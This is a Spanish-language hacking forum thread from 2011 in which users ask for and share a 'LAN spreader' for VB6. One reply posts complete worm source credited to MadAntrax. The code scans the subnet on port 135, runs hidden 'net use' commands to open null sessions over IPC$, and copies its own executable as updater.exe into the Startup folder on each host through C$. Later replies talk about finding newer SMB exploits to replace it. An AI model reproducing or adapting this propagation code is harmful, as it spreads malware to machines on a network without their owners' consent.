Página 1 de 1

LAN Spreader(VB6)

Publicado: 12 May 2011, 07:26
por DaPimp
Alguien tiene idea de como programarlo en vb6?
realmente no se ni como seria manual...
si alguien sabe algo le agradecería que me ayude con eso...
saludos...

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 00:22
por Slek
sé que hay un módulo para esa función, lo que pasa es que es muy muy antiguo y no se ni siquiera si funciona xD

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 04:07
por DaPimp
me haces el favor de pasarmela???

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 05:13
por Democres
Yo Creo, en Mi Humilde Opinion, que si Existe ese modulo Funcionara con el "Bug" De Netbios y eso Hoy En Dia es Escasisimo

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 07:47
por davidad
amigo el spread se basaba en un fallo de windows para propagarse, dicho fallo es MUYYYY antiguo y dudo que algun pc, por muy viejo que sea, lo tenga ....
Tendras que buscar metodos nuevos, por ejemplo busca el fallo de SMB para XP. Ese exploit tmb es muy antiguo pero yo e visto muchos xp todavia con dicho falloo.
SUERTEE

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 15:39
por Slek
Dudo mucho que te funcione, a ver si lo encuentro en mi HD xD

EDIT: Aquí te lo dejo: (Créditos a MadAntrax)

Código: Seleccionar todo

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster
 
Sub Main()
    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
    Dim SelfIP As String            'Nuestra propia IP de la LAN
    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
 
    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
 
    If UBound(BufferIP) = 3 Then
        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
 
        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
            DoEvents                                                    'Esperamos...
            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
        End If
    End If
End Sub                                                                 'Fin del Código
 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.5
'   192.168.1.10
'   192.168.1.128
'   192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
 
    AliveHosts = ""
    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
        DoEvents                                                'Esperamos...
            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
        Sleep 500                                               'Esperamos 1/2 Segundo...
        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
        End If                                                  'End If
    Next i
 
    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
        Exit Function                                           '   finalizamos esta función
    End If                                                      'End If
    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function
 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   net use \\192.168.1.128\ipc$ "" /user:""
'   net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
 
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
 
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
Saludos!

Re: LAN Spreader(VB6)

Publicado: 13 May 2011, 17:42
por DaPimp
Que interesante esta... lo voy a probar pero por lo que veo en el codigo
tambien dudo que funcione...
pero algo se me va ocurrir...
gracias amigo.

Re: LAN Spreader(VB6)

Publicado: 16 May 2011, 15:14
por davidad
muchas gracias por el code pero es dificil encontrar esos exploit funcionales.
podriamos adaptar alguno nuevo de db-exploit no??